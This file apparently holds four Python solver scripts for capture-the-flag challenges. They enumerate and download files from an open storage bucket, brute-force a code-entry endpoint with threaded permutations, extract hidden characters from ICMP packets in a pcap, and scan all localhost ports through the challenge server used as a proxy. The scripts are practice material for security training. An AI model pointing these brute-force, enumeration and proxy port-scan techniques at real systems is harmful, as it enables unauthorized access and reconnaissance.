import requests
import xml.etree.ElementTree as ET

# URL of the bucket
url = "http://challenge.ctf.games:31611/bucket"

# Namespace in the XML file
namespace = {'s3': 'http://s3.amazonaws.com/doc/2006-03-01/'}

# Function to download a file from the bucket using its key
def download_file(key):
	file_url = f"http://challenge.ctf.games:31611/bucket/{key}"
	try:
		response = requests.get(file_url, timeout=10)  # Set a timeout of 10 seconds
		# Check if the request was successful
		if response.status_code == 200:
			return response.content  # Return the content of the downloaded file
		else:
			print(f"Failed to download: {key} - Status code: {response.status_code}")
	except requests.exceptions.Timeout:
		print(f"Timeout error while trying to download: {key}")
	except requests.exceptions.RequestException as e:
		print(f"Error occurred while downloading {key}: {e}")
	
	return None  # Return None if download fails

# Main function to get the XML and download the keys
def main():
	try:
		# Step 1: Make a request to get the XML
		response = requests.get(url, timeout=10)  # Set a timeout for the XML request
		response.raise_for_status()  # Raise an error if the request was unsuccessful
		
		# Step 2: Parse the XML content using ElementTree and handle namespace
		tree = ET.ElementTree(ET.fromstring(response.content))
		root = tree.getroot()

		# Step 3: Find all <Key> tags within the <Contents> tags, accounting for the namespace
		for content in root.findall('s3:Contents', namespace):
			key_elem = content.find('s3:Key', namespace)
			if key_elem is not None:
				key = key_elem.text
				print(f"Found key: {key}")
				
				# Step 4: Download the file associated with the key
				file_content = download_file(key)
				if file_content and b'flag' in file_content:  # Check if 'flag' is in the contents
					print("Found flag in the file!")
					# Save the file locally using the key as the filename
					filename = key.replace("/", "_")  # Clean filename if necessary
					with open(filename, "wb") as f:
						f.write(file_content)
					print(f"Saved file: {filename}")
					break  # Stop downloading further files if flag is found
	except requests.exceptions.Timeout:
		print("Timeout error while trying to fetch the XML.")
	except requests.exceptions.RequestException as e:
		print(f"Error occurred while fetching XML: {e}")

if __name__ == "__main__":
	main()

import requests
import itertools
import concurrent.futures
from tqdm import tqdm

# URL for the challenge
url = "http://challenge.ctf.games:31412/enter="

# Function to send a request and check the result
def try_code(code):
    response = requests.get(f"{url}{code}")
    if "Incorrect" not in response.text:
        print(f"Success! The correct code is: {code}")
        print(f"Flag: {response.text}")
        return True
    return False

# Function to process permutations with multithreading
def bruteforce_with_permutations(chars, max_threads=10):
    with concurrent.futures.ThreadPoolExecutor(max_workers=max_threads) as executor:
        all_permutations = [''.join(perm) for length in range(1, len(chars) + 1) for perm in itertools.permutations(chars, length)]
        
        future_to_code = {executor.submit(try_code, code): code for code in all_permutations}
        
        # Use tqdm to show progress and iterate through the futures
        for future in tqdm(concurrent.futures.as_completed(future_to_code), total=len(future_to_code)):
            if future.result():  # Stop if the correct code is found
                executor.shutdown(wait=False)
                break

# Character set a-f
chars = 'abcdef'

# Start bruteforcing with permutations
bruteforce_with_permutations(chars, max_threads=5) 

import re
from scapy.all import rdpcap, ICMP, IP

def extract_icmp_replies(pcap_file, output_file):
    # Define the regex pattern for allowed characters
    pattern = re.compile(r'[a-gl0-9{}]')
    
    # Read the pcap file
    packets = rdpcap(pcap_file)

    # Open the output file in binary mode
    with open(output_file, 'wb') as f:
        # Loop through each packet
        for packet in packets:
            # Check if the packet is an ICMP Echo Reply (ICMP type 0)
            if packet.haslayer(ICMP) and packet[ICMP].type == 0:
                raw_data = bytes(packet)
                
                # Ensure the packet size is 98 bytes
                if len(raw_data) == 98:
                    last_40_bytes = raw_data[-40:]
                    
                    # Get the first byte from the last 40 bytes
                    first_byte_of_last_40 = last_40_bytes[0]
                    
                    # Convert the byte to a printable character
                    char = chr(first_byte_of_last_40)
                    
                    # Check if the character matches the regex pattern
                    if pattern.match(char):
                        f.write(bytes([first_byte_of_last_40]))

if __name__ == "__main__":
    pcap_file = "echo_chamber.pcap"
    output_file = "output_filtered"
    
    extract_icmp_replies(pcap_file, output_file)

import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
from tqdm import tqdm 

# Configuration
base_url = "http://127.0.0.1:"
proxy = {"http": "http://challenge.ctf.games:30499"}
total_ports = 65535
open_ports = []

# Function to check a port
def check_port(port):
	try:
		url = f"{base_url}{port}"
		response = requests.head(url, proxies=proxy)
		if response.status_code == 200:
			return port
	except requests.RequestException:
		return None

# Using ThreadPoolExecutor for concurrent requests
with ThreadPoolExecutor(max_workers=10) as executor:
	futures = {executor.submit(check_port, port): port for port in range(1, total_ports + 1)}
	
	# Using tqdm to show progress
	for future in tqdm(as_completed(futures), total=total_ports, desc="Scanning Ports"):
		port = future.result()
		if port is not None:
			print(f"Port {port} is open (HTTP 200)")
			open_ports.append(port)

print("Scanning complete.")
print(f"Open ports: {open_ports}")